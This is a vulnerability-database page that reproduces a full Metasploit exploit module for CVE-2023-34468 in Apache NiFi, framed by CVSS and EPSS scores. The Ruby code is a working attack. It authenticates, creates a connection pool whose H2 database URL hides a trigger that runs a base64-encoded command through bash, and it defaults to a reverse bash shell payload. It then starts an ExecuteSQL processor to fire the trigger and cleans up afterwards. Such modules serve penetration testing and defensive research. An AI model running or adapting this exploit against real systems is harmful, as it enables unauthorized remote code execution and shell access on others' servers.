Lucene search

K
zdtMetasploit1337DAY-ID-39010
HistoryAug 30, 2023 - 12:00 a.m.

Apache NiFi H2 Connection String Remote Code Execution Exploit

2023-08-3000:00:00
metasploit
0day.today
121
apache
nifi
h2
connection
remote code execution
metasploit
http
dbcpconnectionpool
hikaricpconnectionpool
controller services
authentication
authorization
database url
exploit
shells
vulnerability
cve-2023-34468
unix
payload
stability
reliability
sideeffects

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.907 High

EPSS

Percentile

98.8%

The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution. This exploit will result in several shells (5-7). Successfully tested against Apache nifi 1.17.0 through 1.21.0.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Nifi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache NiFi H2 Connection String Remote Code Execution',
        'Description' => %q{
          The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
          Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
          to configure a Database URL with the H2 driver that enables custom code execution.

          This exploit will result in several shells (5-7).
          Successfully tested against Apache nifi 1.17.0 through 1.21.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Matei "Mal" Badanoiu' # discovery
        ],
        'References' => [
          ['CVE', '2023-34468'],
          ['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],
          ['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],
          ['URL', 'https://nifi.apache.org/security.html#1.22.0'],
          # not many h2 references on the Internet, especially for nifi, so leaving this here
          # ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']
          # ['URL', 'http://www.h2database.com/html/features.html']
        ],
        'DisclosureDate' => '2023-06-12',
        'DefaultOptions' => { 'RPORT' => 8443 },
        'Platform' => %w[unix],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Type' => :unix_memory,
              'Payload' => { 'BadChars' => '"' },
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/']),
        OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 30])
      ],
      self.class
    )
  end

  def configure_dbconpool
    # our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
    b64_pe = ::Base64.strict_encode64(payload.encoded)
    equals_count = b64_pe.count('=')
    if equals_count > 0
      b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
    end

    if @version > Rex::Version.new('1.16.0')
      # 1.17.0-1.21.0
      driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'
    else
      # 1.16.0
      driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'
    end

    body = {
      'disconnectedNodeAcknowledged' => false,
      'component' => {
        'id' => @db_con_pool,
        'name' => @db_con_pool_name,
        'bulletinLevel' => 'WARN',
        'comments' => '',
        'properties' => {
          # https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38
          # we can use a random db name here, the file is created automatically
          # XXX would mem work too?
          'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
          'Database Driver Class Name' => 'org.h2.Driver',
          # This seems to be installed by default, do we need the location?
          'database-driver-locations' => driver,
          "Max Total Connections": '1' # prevents us from getting multiple callbacks
        },
        'sensitiveDynamicPropertyNames' => []
      },
      'revision' => {
        'clientId' => 'x',
        'version' => 0
      }
    }
    opts = {
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),
      'ctype' => 'application/json',
      'data' => body.to_json
    }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    res = send_request_cgi(opts)
    fail_with(Failure::Unreachable, 'No response received') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200
  end

  def configure_processor
    vprint_status("Configuring processor #{@processor}")
    body = {
      # "disconnectedNodeAcknowledged"=> false,
      'component' => {
        'id' => @processor,
        'name' => Rex::Text.rand_text_alphanumeric(6..10),
        'bulletinLevel' => 'WARN',
        'comments' => '',
        'config' => {
          'autoTerminatedRelationships' => ['failure', 'success'],
          'bulletinLevel' => 'WARN',
          'comments' => '',
          'concurrentlySchedulableTaskCount' => '1',
          'executionNode' => 'ALL',
          'penaltyDuration' => '30 sec',
          'retriedRelationships' => [],
          'schedulingPeriod' => '0 sec',
          'schedulingStrategy' => 'TIMER_DRIVEN',
          'yieldDuration' => '1 sec',
          'state' => 'STOPPED',
          'properties' => {
            'Database Connection Pooling Service' => @db_con_pool,
            'SQL select query' => 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank
          }
        }
      },
      'revision' => {
        'clientId' => 'x',
        'version' => 1 # needs to be 1 since we had 0 before
      }
    }
    opts = {
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
      'ctype' => 'application/json',
      'data' => body.to_json
    }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    res = send_request_cgi(opts)
    fail_with(Failure::Unreachable, 'No response received') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code received #{res.code}") unless res.code == 200
  end

  def check
    # see apache_nifi_processor_rce check method for details on why this is difficult

    @cleanup_required = false

    login_type = supports_login?

    return CheckCode::Unknown('Unable to determine if logins are supported') if login_type.nil?

    if login_type
      @version = get_version
      return CheckCode::Unknown('Unable to determine Apache NiFi version') if @version.nil?

      if @version <= Rex::Version.new('1.21.0')
        return CheckCode::Appears("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")
      end

      CheckCode::Safe("Apache NiFi instance supports logins but non-vulnerable version detected: #{@version}")
    else
      CheckCode::Appears('Apache NiFi instance does not support logins')
    end
  end

  def validate_config
    if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
      fail_with(Failure::BadConfig,
                'Authentication is required. Bearer-Token or Username and Password must be specified')
    end
  end

  def cleanup
    super
    return unless @cleanup_required

    # Wait for thread to execute - This seems necesarry, especially on Windows
    # and there is no way I can see of checking whether the thread has executed
    print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")
    sleep(datastore['DELAY'])

    # Stop Processor
    stop_processor(@token, @processor)
    vprint_good("Stopped and terminated processor #{@processor}")

    # Delete processor
    delete_processor(@token, @processor, 3)
    vprint_good("Deleted processor #{@processor}")
    begin
      stop_dbconnectionpool(@token, @db_con_pool)
    rescue DBConnectionPoolError
      fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')
    end
    vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")
    sleep(datastore['DELAY'])
    begin
      delete_dbconnectionpool(@token, @db_con_pool)
    rescue DBConnectionPoolError
      fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')
    end
    vprint_good("Deleted db connection pool #{@db_con_pool}")
  end

  def exploit
    # Check whether login is required and set/fetch token
    if supports_login?
      validate_config
      @token = if datastore['BEARER-TOKEN'].to_s.empty?
                 retrieve_login_token
               else
                 datastore['BEARER-TOKEN']
               end
      fail_with(Failure::NoAccess, 'Invalid Credentials') if @token.nil?
    else
      @token = nil
    end

    if @version.nil?
      @version = get_version
    end

    # Retrieve root process group
    @process_group = fetch_root_process_group(@token)
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve root process group') if @process_group.nil?
    vprint_good("Retrieved process group: #{@process_group}")

    @db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)
    begin
      @db_con_pool = create_dbconnectionpool(@token, @db_con_pool_name, @process_group, @version)
    rescue DBConnectionPoolError
      fail_with(Failure::UnexpectedReply,
                'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')
    end

    @cleanup_required = true

    # Create processor in root process group
    @processor = create_processor(@token, @process_group, 'org.apache.nifi.processors.standard.ExecuteSQL')
    vprint_good("Created processor #{@processor} in process group #{@process_group}")
    configure_processor
    vprint_good("Configured processor #{@processor}")
    configure_dbconpool
    vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")
    begin
      start_dbconnectionpool(@token, @db_con_pool)
    rescue DBConnectionPoolError
      fail_with(Failure::UnexpectedReply,
                'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.')
    end
    vprint_good('Enabled db connection pool')
    begin
      start_processor(@token, @processor)
    rescue ProcessorError
      fail_with(Failure::UnexpectedReply,
                'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.')
    end

    vprint_good('Started processor')
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.907 High

EPSS

Percentile

98.8%